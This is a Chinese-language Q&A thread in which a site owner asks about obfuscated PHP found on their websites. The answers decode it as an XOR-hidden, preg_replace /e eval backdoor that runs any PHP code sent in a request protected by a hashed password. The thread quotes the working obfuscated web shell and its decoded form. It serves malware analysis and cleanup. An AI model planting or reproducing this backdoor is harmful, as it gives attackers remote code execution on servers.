我在我的一些网站上看到以下代码:
preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL");
?>
我尝试像正常的eval一样解码,并通过一些解析而没有运气。任何人都知道如何解码并查看它的作用?
在preg_replace上使用/ e(eval)修饰符,但似乎没有做任何事情//
答案 0 :(得分:5)
看着第二部分,我注意到它是2个字符串xor'd在一起:
php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa";
php > $z=$x^$y;
php > print $z;
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }")
php >
它在'ch'中查找“password”,如果密码hash匹配,则eval在php_code param中的内容。
我不确定preg_replace是如何进入的,但是
修改的
似乎preg替换正在替换与替换不匹配的东西,导致刚解码的东西运行。考虑这个例子
<?php
preg_replace("/X/e","eval('print 1;');",'X');
?>
如果你运行它只打印1.查看你的访问日志中的那些url params命中(ch和php_code)
答案 1 :(得分:3)
只需取出正则表达式中的e
,这将使PHP eval
成为替换后的表达式,并echo
替换后产生的代码。它安装了一个后门,允许任何人eval
通过URL发送任何PHP代码。